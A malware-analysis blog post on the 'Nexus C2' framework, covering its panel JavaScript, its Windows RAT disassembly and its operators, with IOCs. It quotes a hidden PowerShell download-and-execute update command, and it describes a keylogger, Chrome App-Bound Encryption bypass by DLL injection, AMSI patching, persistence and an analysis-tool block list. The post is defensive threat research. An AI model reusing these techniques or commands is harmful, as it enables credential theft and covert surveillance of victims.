Disclaimer: All research and opinions expressed here are my own and are independent of any employer or organisation.

Hunting New C2 Frameworks - Part 2 - Nexus C2, Shipped with Creds

Hunting New C2 Frameworks - Part 2 - Nexus C2, Shipped with Creds

A deep dive into a newly discovered C2 framework, Nexus C2 — its features, operational flaws, and the implications of AI-generated malware in the wild.

Introduction

Following on from Part 1, I continued my hunting for new and unknown C2 frameworks in the wild. In this blog I’ll be sharing some of the interesting findings from that hunt, including a deep dive into a previously unknown C2 framework I came across.

This one has very clearly been vibe coded, and also makes a number of OpSec blunders.

Nexus C2

My automated C2 scanner highlighted a new C2 panel found open to the internet, hosted on IP 192.253.248[.]13 from ASN Limited Network LTD (AS213790).

Nexus C2 login panel
Figure 1: Nexus C2 login panel

As per Part 1, I could not find any public information about this C2 panel or framework online. I took a deeper look into the panel’s frontend code, and again a bunch of features are leaked.

Infrastructure

PropertyValue
IP192.253.248[.]13
ASN213790 — Limited Network LTD
CountrySingapore

Panel Analysis

The following is derived entirely from the panel’s frontend JavaScript — no implant required.

Authentication

A basic username/password login with server-issued API keys. The key is stored in localStorage and sent as X-API-Key on every request. WebSocket auth passes it in the URL query string — meaning it appears in server access logs in plaintext.

const wsUrl = API.replace(/^https?/, wsProto) + '/ws/panel?api_key=' + APIKEY;

Two role tiers are present: Operator and Master (distributor). Master accounts unlock analytics, the full credential view, blacklist management, and broadcast capabilities. Role is determined server-side based on the API key.

document.getElementById('sb-analytics').style.display = ME.is_master ? '' : 'none';
document.getElementById('sb-creds').style.display     = ME.is_master ? '' : 'none';
document.getElementById('sb-broadcast').style.display = ME.is_master ? '' : 'none';

Real-Time Communication

The panel uses WebSocket as the primary transport with HTTP polling as fallback, polling every 4 seconds. A keep-alive ping fires every 2.5 seconds.

wsPingInterval = setInterval(() => {
  if (panelWs && panelWs.readyState === WebSocket.OPEN) {
    panelWs.send(JSON.stringify({action: 'ping'}));
  }
}, 2500);

Multiplayer operation is supported — multiple operators can interact with the same host simultaneously, with commands from other operators visible in the terminal view attributed by username.

} else if (action === 'command') {
  // command sent by another operator (real-time multiplayer)
  hist.push({
    cmd_id: msg.cmd_id,
    cmd: msg.command,
    output: '',
    issued_by: msg.issued_by  // operator attribution
  });
}

Host Management

Hosts are split into “Confirmed Live” and “Dead/Virustotal” tabs. The dead classification is applied to hosts unseen for over 48 hours, or hosts running specific OS versions considered higher-risk — likely analyst VMs or sandboxes:

function isHostDead(h) {
  const now = Math.floor(Date.now() / 1000);
  const twoDays = 2 * 86400;
  const isOldHost = (now - h.last_seen) > twoDays;
  const isDangerousOS = h.os && 
    /Windows (7|10 Pro|10 Enterprise|Pro|Enterprise)/i.test(h.os);
  return isOldHost || isDangerousOS;
}

This is a notable sandbox/analyst evasion signal — the panel operator is actively filtering out machines that are statistically more likely to be analysis environments.

Each host entry exposes: hostname, username, OS, IP, country (with geo breakdown), last-seen timestamp, and operator ownership (master only). Hosts can be aliased, pinned, and annotated with operator notes stored in localStorage.

Credential Harvesting

The panel aggregates credentials from multiple sources, filterable by browser, domain, and machine (feat classic vibe coded emojis):

const srcIcon = {
  chrome:         '🌐',
  edge:           '🌀',
  firefox:        '🦊',
  discord:        '💬',
  minecraft:      '⛏',
  windows:        '🪟',
  chrome_cookies: '🍪',
  edge_cookies:   '🍪'
};

Cookies are stored separately from passwords and accessible via a dedicated tab, supporting session hijacking workflows.

Minecraft Integration

A notable differentiator: the panel has a dedicated Minecraft account lookup system integrated directly into the host table, querying the DonutSMP server. Unfortunately that’s about the limit of my knowledge on Minecraft.

function mcBadge(host) {
  const meta = host.metadata;
  if (!meta || !meta.minecraft || !meta.minecraft.username) return '';

  const balTxt = cached 
    ? (cached.balance !== null 
        ? '$' + Number(cached.balance).toLocaleString() 
        : 'not on DonutSMP') 
    : 'loading…';

Payload Builder

An in-panel build system allows operators to compile basic customisation for implants without leaving the UI:

body: JSON.stringify({
  name,
  beacon_interval: interval,       // 1–3600 seconds
  obfuscate,                       // LLVM obfuscation passes
  disable_antisandbox: nosandbox,  // master-only option
  signed                           // code signing
})

The disable_antisandbox option is gated to master accounts only, suggesting a distributor/affiliate model where sub-operators receive sandbox-aware builds by default. Completed builds are downloaded as ZIP archives containing client.exe and abe_helper.dll.

Remote Control Capabilities

The terminal tab exposes a full command palette:

CategoryCommands
Surveillance.ss, .webcam, .screenrec, .keylog-start/dump/stop, .wifiaps
Credential theft.grab browser/passwords/discord/minecraft/roblox/steam
Persistence.persist-deep (UAC), .implode
Disruption.bsod, .earrape, .cursor-trap, .desktop-flood, .fake-alert
Network.proxy-start, .proxy-stop
Crypto theft.start-clipper, .stop-clipper

The clipboard hijacker (.start-clipper) is the primary monetisation mechanism — intercepting cryptocurrency wallet addresses during paste operations. The live stream tab implements real-time screen and audio capture over WebSocket:

if (buf[0] === 0x01) {        // video frame (JPEG)
  // decode and render to canvas
} else if (buf[0] === 0x02) { // audio (PCM 16-bit mono, 22050Hz)
  // decode and play via WebAudio API
}

Update Mechanism

The panel can push client updates via a PowerShell one-liner:

function _updatePsCmd() {
  return `.cmd powershell -WindowStyle Hidden -Command "` +
    `$t=[System.IO.Path]::GetTempPath()+'nx_upd.exe';` +
    `$a=[System.IO.Path]::GetTempPath()+'abe_helper.dll';` +
    `try{iwr '${base}/download/client.exe' -OutFile $t;` +
    `iwr '${base}/download/abe.dll' -OutFile $a;` +
    `Start-Process $t}catch{}"`;
}

The abe_helper.dll companion artifact is downloaded alongside every update.

Leaked API Key

One hilarious blunder in the front UI source code is the inclusion of a hardcoded API key in the JavaScript. The API used by the framework is a basic FastAPI backend, easily queryable:

curl -k -X GET "https://192.253.248[.]13/api/activity" -H "x-api-key: REDACTED"
Nexus C2 API key leak
Figure 2: Hardcoded API key exposed in frontend source

Payload Analysis

Pivoting on the C2 domain and IP, it was trivial to find samples of beacons on VirusTotal. Interestingly, the vast majority of the samples were uploaded by the same uploader — the upload pattern clearly shows the author testing beacons. The short gap between uploads indicates active development. At time of writing, there were 89 samples on Virus Total, a mix of beacons, stagers, and beacon updaters.

VirusTotal submission pattern
Figure 3: VirusTotal submission pattern showing active development

Ghidra Analysis

I grabbed one of the payloads and threw it into Ghidra for a quick look. There was no attempt at any real obfuscation and the code was fairly straightforward. The functions adhere to what was already visible in the panel UI.

Sample: 2d4609a6d82fed2e40443ae658ee470a4595c3bee392ac3640d533f56d194a6cVirusTotal →


Binary Identity

PropertyValue
FormatPE64 (64-bit Windows Portable Executable)
Image base0x140000000
PE sections.text .data .rdata .pdata .xdata .bss .idata .CRT .tls .rsrc .reloc
Unique functions~1,283
Embedded librarySQLite 3.47.0 (statically linked)
C2 domainnexusc2.works
Malware familyNexus RAT

The name “Nexus” appears throughout the binary as a consistent brand: nexus-client/1.0, nexus-vnc/1.0, nexusc2.works, nexus_play, nx_upd_, nx_abe_, nx_persist_ok.


C2 Communication

  • Transport: HTTPS upgraded to WebSocket via WinHTTP
  • C2 host (hardcoded): nexusc2.works
  • Port: 0x50 (80 decimal, over TLS)

Two logical channels are established — a command channel and a dedicated VNC channel — each with its own user-agent and endpoint:

ChannelUser-agentWebSocket endpoint
Command / beaconnexus-client/1.0/ws/client?host_id=%s&operator_key=%s
VNC relaynexus-vnc/1.0/ws/vnc/%s?role=client&operator_key=%s

Additional HTTP endpoints:

EndpointPurpose
/api/docokHeartbeat / registration confirmation
/api/payload?op_key=%sOperator-keyed payload/update download
/api/vnc/frame/%hsVNC frame HTTP fallback upload

Beacon connection sequence (FUN_140017fc0)

The implant calls WinHttpOpen with the hardcoded user-agent, connects to nexusc2.works, opens the WebSocket upgrade request, and if the HTTP 101 handshake succeeds, enters the command receive loop:

; FUN_140017fc0 — primary C2 beacon connect
; Build URL: /ws/client?host_id=<id>&operator_key=REDACTED

140017ff4  LEA   R8, ["/ws/client?host_id=%s&operator_k..."]
140017ffb  MOV   [RSP+local_848], RAX          ; operator_key arg

; Open session with spoofed User-Agent
140018041  LEA   RCX, [u"nexus-client/1.0"]
140018048  CALL  WINHTTP.DLL::WinHttpOpen

; Connect to hardcoded C2 host on port 0x50 (80)
140018059  MOV   RDX, RBP                      ; L"nexusc2.works"
14001805f  MOV   R8D, 0x50                     ; port 80 (HTTPS)
140018068  CALL  WINHTTP.DLL::WinHttpConnect

; Open the WebSocket upgrade request
1400180a3  CALL  WINHTTP.DLL::WinHttpOpenRequest

; Send HTTP GET with Upgrade: websocket
1400180d4  CALL  WINHTTP.DLL::WinHttpSendRequest
1400180e2  CALL  WINHTTP.DLL::WinHttpReceiveResponse

; Complete the WebSocket upgrade (101 Switching Protocols)
1400180f0  CALL  WINHTTP.DLL::WinHttpWebSocketCompleteUpgrade
1400180f5  TEST  RAX, RAX
1400180f8  JNZ   LAB_140017fa2                 ; success → enter recv loop
; failure → close all handles and retry

The VNC channel (FUN_140018330) follows an identical pattern using nexus-vnc/1.0 and the /ws/vnc/ endpoint.


Operator Command Interface

Commands arrive as JSON over the WebSocket. The full set extracted from the .rdata section:

Surveillance

CommandImplementation
.keylog-startInstalls WH_KEYBOARD hook via SetWindowsHookExA
.keylog-stopRemoves hook via UnhookWindowsHookEx
.keylog-dumpExfiltrates the keylog buffer over C2
.vncStarts screen streaming relay over WebSocket
.vnc-control start|stopControls VNC relay thread
.webcamCaptures webcam via capCreateCaptureWindowA
.wifiapsEnumerates nearby Wi-Fi APs via GetAdaptersInfo

Credential theft

CommandBehaviour
.pwd.lTriggers full credential harvest across all sources

System control

CommandBehaviour
.persistInstalls scheduled task persistence
.removeSelf-deletes the implant
.updateDownloads and hot-swaps to a new agent binary
.critical-enable / .critical-disableMarks process as system-critical (prevents kill)

Disruptive / troll

CommandBehaviour
.screen-rotateRotates display via ChangeDisplaySettingsA
.color-invertInverts screen colours
.cursor-trapCages cursor via ClipCursor
.desktop-floodSpawns windows flooding the desktop
.earrapeMaxes volume + blasts audio via waveOutSetVolume / mciSendStringA
.fake-alertDisplays fake system alert via MessageBoxA
.meme-spamOpens browser tabs: rickroll, Pepe, Drake, surprised Pikachu, etc.
.volumeSets system volume to specified level

Keylogger

The keylogger runs as a dedicated thread using a low-level Windows keyboard hook.

Hook installation (FUN_140016e20)

; FUN_140016e20 — keylogger thread entry

; Install WH_KEYBOARD_LL hook (type 0xD = 13)
140016e28  MOV   ECX, 0xd                      ; WH_KEYBOARD_LL
140016e33  LEA   RDX, [LAB_140016700]          ; hook callback proc
140016e3a  CALL  USER32.DLL::SetWindowsHookExA
140016e40  MOV   [DAT_140130ce0], RAX          ; save hook handle

; Standard Win32 message pump to keep hook alive
140016e55  MOV   RSI, [->USER32.DLL::GetMessageA]
140016e61  MOV   RBP, [->USER32.DLL::TranslateMessage]
140016e68  MOV   RDI, [->USER32.DLL::DispatchMessageA]

LAB_140016e78:
  140016e7b  CALL  RBP                          ; TranslateMessage
  140016e80  CALL  RDI                          ; DispatchMessageA
  140016e97  CALL  RSI                          ; GetMessageA (blocks)
  140016e9b  JNZ   LAB_140016e78               ; loop until stop signal

; Cleanup
140016ea9  CALL  USER32.DLL::UnhookWindowsHookEx
140016eaf  MOV   [DAT_140130ce0], 0x0          ; clear hook handle

Key translation in callback (LAB_140016700)

The hook callback captures each keypress, resolves the virtual key code to an ASCII character, then appends it to the exfil buffer:

; Inside WH_KEYBOARD_LL callback
140016add  CALL  USER32.DLL::GetKeyboardState  ; snapshot all key states
140016ae3  MOV   EDX, [RDI+0x4]               ; vkCode from KBDLLHOOKSTRUCT
140016aeb  LEA   R9, [RSP+0x38]               ; output char buffer
140016b01  CALL  USER32.DLL::ToAscii          ; translate vKey → ASCII
140016b07  CMP   EAX, 0x1                     ; one char produced?
140016b0a  JZ    LAB_140016b88                ; yes → append to log buffer
140016b0c  CMP   EBP, 0x2e                    ; special key range check
140016b0f  JA    LAB_140016d68                ; handle specials (Enter, Tab, etc.)

The captured text is accumulated in a heap buffer and transmitted on .keylog-dump or periodically via the WebSocket.


Credential Theft

Chrome — standard DPAPI path

; FUN_14000e080 — Chrome credential harvester

; Locate: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies
14000e0da  LEA   RAX, ["User Data\\Default\\Cookies"]
14000e1a9  LEA   RDX, ["SELECT name,encrypted_value FROM cookies WHERE ..."]
; → sqlite3_prepare / sqlite3_step / sqlite3_column_blob

; Decryption key from Local State JSON
140010188  LEA   param_2, ["encrypted_key"]           ; standard DPAPI key
1400103af  LEA   param_2, ["app_bound_encrypted_key"] ; Chrome 127+ ABE key
140010021  CALL  CRYPT32.DLL::CryptUnprotectData      ; DPAPI decrypt

Chrome — App-Bound Encryption (ABE) bypass

Chrome 127 introduced App-Bound Encryption, binding the decryption key to Chrome’s process identity via a COM/IElevator interface. Nexus bypasses this by dropping a helper DLL and injecting it into a Chrome renderer process, which already holds the necessary privileges.

; FUN_140010280 — ABE bypass via helper DLL injection

; 1. Get temp path and generate unique DLL name
140010666  CALL  KERNEL32.DLL::GetTempPathA
140010670  CALL  KERNEL32.DLL::GetTickCount      ; seed for unique name
140010685  LEA   R8, ["%s\\nx_abe_%08lx.dll"]   ; e.g. C:\Temp\nx_abe_3F8A12B4.dll

; 2. Write embedded DLL resource to disk
1400106a8  MOV   param_2, 0x40000000            ; GENERIC_WRITE
1400106bd  CALL  KERNEL32.DLL::CreateFileA
1400106ee  CALL  KERNEL32.DLL::WriteFile         ; write DLL bytes from resource

; 3. Rename to abe_helper.dll in Chrome's directory
140010749  MOV   RDI, 0x706c65685f656261        ; "abe_hel" (little-endian)
140010753  MOV   [RAX+0x1], RDI                 ; patch filename in-place

; 4. Inject into Chrome renderer via NT-native injection
140011269  LEA   R8, ["inject_dll_nt failed pid=%lu err=%lu"]
; inject_dll_nt: NtWriteVirtualMemory + NtCreateThreadEx via ntdll.dll

; 5. ABE decrypt using BCrypt AES-256-GCM
14000e61b  LEA   R8, [u"ChainingModeGCM"]
14000e622  CALL  BCRYPT.DLL::BCryptOpenAlgorithmProvider
           CALL  BCRYPT.DLL::BCryptSetProperty    ; set ChainingModeGCM
           CALL  BCRYPT.DLL::BCryptGenerateSymmetricKey
14000e71a  CALL  BCRYPT.DLL::BCryptDecrypt        ; decrypt app_bound_encrypted_key

Result logged as [keys: dpapi=<val> abe=ok(<val>) key=...] on success, or [keys: dpapi=<val> abe=FAIL: <reason>] on failure.

Firefox

Firefox credentials are decrypted by dynamically loading nss3.dll from the Firefox installation directory and calling its internal decrypt routines directly:

; FUN_14000f050 — Firefox credential decryption

; Locate NSS3 and resolve decrypt functions
14000f411  LEA   param_2, ["PK11_GetInternalKeySlot"]
14000f422  LEA   param_2, ["PK11_CheckUserPassword"]
14000f433  LEA   param_2, ["PK11SDR_Decrypt"]
; GetProcAddress on nss3.dll for each, then call to decrypt logins.json entries

; Targets: key4.db, key3.db, logins.json, profiles.ini
; Cookie DB also queried via embedded SQLite

Other sources

SourceMethod
Windows Credential ManagerCredEnumerateA — dumps all stored generic/domain credentials
DiscordReads token from %APPDATA%\discord\ — placed in extra: {"token": ...}
SteamParses %ProgramFiles%\Steam\config\loginusers.vdf
MinecraftReads launcher_accounts.json + launcher_profiles.json
RobloxExtracts .ROBLOSECURITY session cookie

Screen Capture / VNC

Two capture paths exist depending on whether the operator requests a snapshot or a live stream.

Full-resolution capture

; FUN_140005b50 — screenshot to BMP

140005b72  CALL  USER32.DLL::GetDC                  ; get screen DC (NULL = desktop)
140005b7e  CALL  GDI32.DLL::CreateCompatibleDC      ; create memory DC
140005b98  CALL  GDI32.DLL::CreateCompatibleBitmap  ; allocate bitmap (w × h)
140005bbc  CALL  GDI32.DLL::SelectObject            ; select bitmap into memory DC

; BitBlt: SRCCOPY (0x40CC0020) from screen into memory DC
140005bd1  MOV   dword ptr [RSP+local_b8], 0x40cc0020
140005bf1  CALL  GDI32.DLL::BitBlt

; Extract raw pixel data
140005c57  CALL  MSVCRT.DLL::malloc                 ; allocate pixel buffer
140005c8e  CALL  GDI32.DLL::GetDIBits               ; copy pixels into buffer
; → base64-encode → send via WinHttpWebSocketSend

For live VNC streaming, a second path uses StretchBlt + SetStretchBltMode to downsample the frame before transmission, reducing bandwidth on the WebSocket channel.


Persistence

; FUN_140008ef0 — persistence installer

; Build schtasks command string
14000956c  LEA   R8, ["schtasks /create /tn \"%s\" /tr \"\\\"%s\\\"\""]
; %s[0] = "winSync1" or "winSync2"
; %s[1] = binary path (%APPDATA%\Microsoft\Windows\notpad.exe)

; Execute via system() / CreateProcessA
140009578  CALL  FUN_1400070c0                  ; sprintf + system()

; Also install as a Windows service
14000958f  CALL  ADVAPI32.DLL::OpenSCManagerA
1400095a1  ; (XOR-obfuscated service name, key 0xED — decoded at runtime)

The service name string is obfuscated using a single-byte XOR with key 0xED, decrypted inline immediately before use. The routine iterates over each byte of the encrypted string, XORing it against 0xED until the end of the buffer is reached. I do find it hilarious that the service name is obfuscated, while many other strings like the API secret are not.

; Inline XOR decryption of obfuscated strings (key = 0xED)
1400095e0  XOR   byte ptr [RAX], 0xed
1400095e3  ADD   RAX, 0x1
1400095e7  CMP   RDX, RAX
1400095ea  JNZ   LAB_1400095e0                 ; loop over each byte

Binary staging locations:

PathPurpose
%APPDATA%\Microsoft\Windows\notpad.exePrimary persistent copy (deliberate notepad misspelling)
%TEMP%\WindowsUpdate.exeStaging path used during install
%TEMP%\nx_upd_<timestamp>.exeUpdate staging executable

A marker file \nx_persist_ok is written after successful installation. A COM-based UAC bypass is also attempted via Software\Classes\*\shellex\ContextMenuHandlers, executing the binary with Explorer’s elevated context on next shell interaction. If elevation fails, the string elevation failed is logged back to the C2.


Self-Update

; FUN_140016240 — update handler

; 1. Download update zip from C2
14001628f  LEA   R8, ["%s\\nx_upd_%llu.exe"]
140016455  LEA   R8, ["%s\\nx_update_%llu.zip"]
; GET /api/payload?op_key=<key>  →  write zip to %TEMP%

; 2. Extract zip contents to %TEMP%\nx_update_<id>\
140016482  LEA   R8, ["%s\\nx_update_%llu"]

; 3. CreateProcessA on new binary, WaitForSingleObject, TerminateProcess self

Anti-Analysis & Evasion

Debugger detection

The implant resolves IsDebuggerPresent dynamically (rather than calling it directly):

; FUN_140017300 — environment check

; Resolve IsDebuggerPresent at runtime to avoid static import flag
1400173d4  LEA   RCX, ["kernel32"]
1400173db  CALL  KERNEL32.DLL::GetModuleHandleA
1400173e9  LEA   RDX, ["IsDebuggerPresent"]
1400173f0  CALL  KERNEL32.DLL::GetProcAddress
1400173fb  CALL  RAX                           ; call resolved pointer
1400173fd  TEST  EAX, EAX
1400173ff  JNZ   LAB_1400178f3                 ; debugger present → exit / deceive

Process enumeration

CreateToolhelp32Snapshot + Process32First / Process32Next iterates all running processes. Names are loaded into XMM registers using PUNPCKLQDQ for efficient two-at-a-time comparison:

; Load pairs of tool process names into XMM regs for fast comparison
14001741f  MOVQ   XMM1, RAX                    ; "windbg.exe"
14001741f  MOVQ   XMM0, RSI                    ; "ollydbg.exe"
14001742b  PUNPCKLQDQ XMM0, XMM1              ; pack two names per register
14001743b  MOVUPS [RSP+0x60], XMM0            ; store to comparison array

; Blocked tools:
; ollydbg.exe, windbg.exe, idaq.exe, idaq64.exe, x64dbg.exe, x32dbg.exe
; radare2.exe, gdb.exe, wireshark.exe, procmon.exe, apitrace.exe, vxcube.exe

; Iterate process list
140017496  CALL  KERNEL32.DLL::CreateToolhelp32Snapshot
1400174d3  CALL  KERNEL32.DLL::Process32First
LAB_140017500:
  140017506  CALL  MSVCRT.DLL::_stricmp        ; case-insensitive name compare
  14001750a  JZ    LAB_140017900               ; match → abort/exit
  14001751f  CALL  KERNEL32.DLL::Process32Next
  140017524  JNZ   LAB_1400174f3              ; continue until end of list

VM / sandbox detection

File-system artefact checks for known sandbox environments, followed by a service registry check for VMware’s VMCI driver:

; Directory / file existence checks
140017418  LEA   RCX, ["C:\\Program Files\\qemu"]   ; QEMU
140017714  LEA   RDI, ["C:\\vxcube"]                ; VxCube sandbox
140017458  LEA   RAX, ["C:\\analysis"]              ; generic malware lab
140017467  LEA   RAX, ["C:\\malware"]
14001746c  LEA   RAX, ["C:\\samples"]
; Each path tested with GetFileAttributesA — nonexistent → abort

; Bochs CPUID brand check
140017910  LEA   RDX, ["Bochs"]

; VMware: check for VMCI service registry key
1400fe3c0  ds "SYSTEM\\CurrentControlSet\\services\\vmci"

String obfuscation

Sensitive strings (service names, encoded payloads) are XOR-obfuscated with key 0xED and decoded inline at first use, keeping them out of plain-text string searches.

AMSI bypass

; FUN_14000b4f0 — AMSI patch
14000b3a0  LEA   RCX, ["clr.dll"]
14000b4a0  LEA   RCX, ["mscoree.dll"]
14000b533  ; loads "amsi.dlltitle=\"" — window-title side-channel technique
; patches AmsiScanBuffer return value in-process before .NET payload execution

DLL Injection

A custom inject_dll_nt function performs NT-native DLL injection, bypassing CreateRemoteThread (which is heavily monitored), using ntdll.dll routines resolved at runtime:

; Injection failure log string reveals function name
140011269  LEA   R8, ["inject_dll_nt failed pid=%lu err=%lu"]
140011280  LEA   R8, ["injected pid=%lu, polling..."]

; Runtime resolution of ntdll internals
14000c977  LEA   RCX, ["ntdll.dll"]
14000c97e  CALL  KERNEL32.DLL::GetModuleHandleA
; → GetProcAddress for NtWriteVirtualMemory, NtCreateThreadEx, etc.

Primary use case is injecting nx_abe_<pid>.dll into a Chrome renderer for the ABE bypass, but the same mechanism is available for DLL injection via the .update / payload path.


Hardcoded Secret Key — Again

The implant contained a hardcoded operator secret in several places within the code, used for C2 authentication. Once again there was no attempt to encrypt or obfuscate the key — another indication of the script-kiddie nature of the author and a likely symptom of vibe coding.

Hardcoded operator key visible in binary
Figure 4: Hardcoded operator key found in the Nexus RAT binary

A C2 Community

The C2 panel links to a Telegram channel (t.me/nexusc2v1) which also includes a link to a Discord server.

Nexus C2 Telegram support channel
Figure 5: Nexus C2 Telegram support channel

The Discord server has 465 members but does not appear to be very active. There is little attempt to hide or mask the intentions of the server, or the C2.

Nexus C2 Discord server
Figure 6: Nexus C2 Discord server

C2 Infections

Using OSINT techniques, I was able to find evidence of at least 287 unique hosts that had checked into the C2 infrastructure at some point. It’s not clear how many of these were operator test hosts.

It’s surprising how brazen the author is — both in terms of intent and in allowing anyone to join their public support channels. These check-ins were distributed across 20 countries, with the majority in Russia, the US, and Singapore:

Country%
Russia (RU)59.6%
United States (US)15.7%
Singapore (SG)13.2%
United Kingdom (GB)2.1%
Spain (ES)1.7%
Netherlands (NL)0.7%
Pakistan (PK)0.7%
Germany (DE)0.7%
Canada (CA)0.7%
+ 12 others7.7%

There were 8 different operators identified, the majority operating only on a handful of hosts. Most had not been active since 28 April 2026, with activity concentrated between 22–28 April. Two exceptions were last seen active on 5 May and 9 May respectively.

Nine operator IPs were recorded. The majority originate from Russia and/or use proxy/VPN services:

IPASNOrganisationLocation
185.93.40[.]66AS35526Smart Technology LLCSaint Petersburg, Russia
149.88.106[.]54AS212238Datacamp LimitedSingapore
72.153.230[.]168AS8075Microsoft Azure (ProxyAM)San Jose, US
74.179.70[.]65AS8075Microsoft Azure (ProxyAM)Moses Lake, US
149.88.106[.]57AS212238Datacamp LimitedSingapore
213.33.190[.]93AS3216PJSC Vimpelcom (Beeline)Shchëkino, Russia
194.154.78[.]178AS3216PJSC Vimpelcom (Beeline)Uzlovaya, Russia
195.239.51[.]93AS3216PJSC Vimpelcom (Beeline)Moscow, Russia
79.104.209[.]30AS3216PJSC Vimpelcom (Beeline)Shchëkino, Russia

Conclusion

It was inevitable that AI and code-generative LLM models would lead to the creation of new C2 frameworks, reducing the barrier to entry for would-be malware authors and increasing the volume of unknown commodity malware in the wild. The inclusion of trolling and game theft-related features indicates a young demographic of both the authors, operators, and targets. There is still genuine malicious intent in the implants — credential theft, file stealing, VNC, and screen capture are all common features in real-world infostealers. One surprising aspect of this case was the number of seemingly legitimate victims hit. For a framework with so many operational flaws, that hit rate was unexpected.

A reminder that all C2s being tracked can be viewed in C2 Hunter, which is updated in real-time as new C2s are discovered. IOCs are also pushed to GitHub..

I’m sure this will be just one of many AI-generated C2 frameworks to emerge. Until next time.


Indicators of Compromise

Network

TypeValue
C2 domainnexusc2[.]works
Telegramt[.]me/nexusc2v1
Wikiwiki.nexusc2[.]works
C2 panel IP192.253.248[.]13
Hosting IP38.127.8[.]151:8084, 192.253.248[.]13
WebSocket pattern/ws/client?host_id=*&operator_key=*
User-Agentnexus-client/1.0
User-Agentnexus-vnc/1.0

Operator IPs

IPASNOrganisationLocation
185.93.40[.]66AS35526Smart Technology LLCSaint Petersburg, Russia
149.88.106[.]54AS212238Datacamp LimitedSingapore
72.153.230[.]168AS8075Microsoft Azure (ProxyAM)San Jose, US
74.179.70[.]65AS8075Microsoft Azure (ProxyAM)Moses Lake, US
149.88.106[.]57AS212238Datacamp LimitedSingapore
213.33.190[.]93AS3216PJSC Vimpelcom (Beeline)Shchëkino, Russia
194.154.78[.]178AS3216PJSC Vimpelcom (Beeline)Uzlovaya, Russia
195.239.51[.]93AS3216PJSC Vimpelcom (Beeline)Moscow, Russia
79.104.209[.]30AS3216PJSC Vimpelcom (Beeline)Shchëkino, Russia

Sample

TypeValue
SHA2562d4609a6d82fed2e40443ae658ee470a4595c3bee392ac3640d533f56d194a6c
Implantclient.exe
Companion DLLabe_helper.dll / abe.dll
Download paths/download/client.exe, /download/abe.dll

Filesystem

%APPDATA%\Microsoft\Windows\notpad.exe
%TEMP%\nx_abe_[8 hex chars].dll
%TEMP%\nx_upd_[timestamp].exe
%TEMP%\nx_update_[timestamp].zip
%APPDATA%\...\nx_persist_ok

Scheduled tasks / registry

winSync1
winSync2
Software\Classes\*\shellex\ContextMenuHandlers\[random]